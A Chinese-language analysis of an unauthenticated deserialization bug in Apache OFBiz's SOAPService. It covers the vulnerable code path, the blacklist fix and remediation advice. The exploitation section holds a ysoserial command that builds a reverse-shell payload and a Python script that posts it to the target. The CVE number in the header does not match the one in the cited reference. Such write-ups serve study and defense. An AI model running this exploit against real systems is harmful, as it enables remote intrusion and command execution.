漏洞描述
名称:Apache OFBiz rmi反序列化漏洞
cve编号:cve-2021-25296
危害:未授权远程命令执行
影响版本:Apache OFBiz < 17.12.06
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了一整套的开发基于Java的web应用程序的组件和工具,已经正式成为 Apache 的顶级项目。
rmi 是 java 远程方法调用,它能让某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。值得注意的是,rmi 传输过程必然会使用序列化和反序列化,如果使用不当,很容易造成反序列化漏洞。
# 漏洞分析
参考文章:Apache Ofbiz反序列化(CVE-2021-26295)分析
通过分析,触发漏洞的路由为 /webtools/control/SOAPService,SOAPService的EventHandler为SOAPEventHandler,SOAPEventHandler调用了SoapSerializer.deserialize,SoapSerializer.deserialize 又调用了 XmlSerializer.deserialize,该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml,deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()
在 deserializeCustom 方法中,如果标签为cus-obj则获取元素内容,并将其传入 getObject 方法中,getObject又调用了 getObjectException 方法
getObjectException 方法代码如下:
public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
return wois.readObject();
}
}
代码中调用了 SafeObjectInputStream 对象的 readObject 进行反序列化,我们知道 SafeObjectInputStream 是重写后的 ObjectInputStream,在 ObjectInputStream 的基础上加了黑白名单过滤,我们来分析一下漏洞修复前的 SafeObjectInputStream 代码与修复后的差距,如下图所示
className.contains 后是黑黑名单的内容,绿色表示新增,红色表示删除,可以看到,在修复前黑名单的内容只有 org.apache.commons.fileupload,还是可以通过修复后增加的 java.rmi.server 触发漏洞执行命令
# 漏洞利用
使用 ysoserial 生成漏洞利用的 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,想要执行的命令的base64编码}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'
因为命令执行成功也不会有回显,所以下面使用了 反弹 shell 的命令
将得到的 hex 数据赋给下面 payload 的变量 hex_data
import requests
url = 'http://host:port' + '/webtools/control/SOAPService'
hex_data = "aced000573.......000678"
headers = {
'Content-Type': 'text/xml'
}
data = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<test>
<cus-obj>{hex_data}</cus-obj>
</test>
</soapenv:Body></soapenv:Envelope>'''
response = requests.post(url, data=data, headers=headers, verify=False, timeout=5)
if 'check your parameters' in response.text:
print("maybe succeed")
else:
print("maybe failed")
在 vps 上开启监听,运行脚本,成功获取shell
# 修复建议
- 升级 ofbiz 到版本大于 17.12.06
- 仿造官方修复办法,添加黑名单 java.rmi.server
- 限制不信任用户对 rmi 服务的访问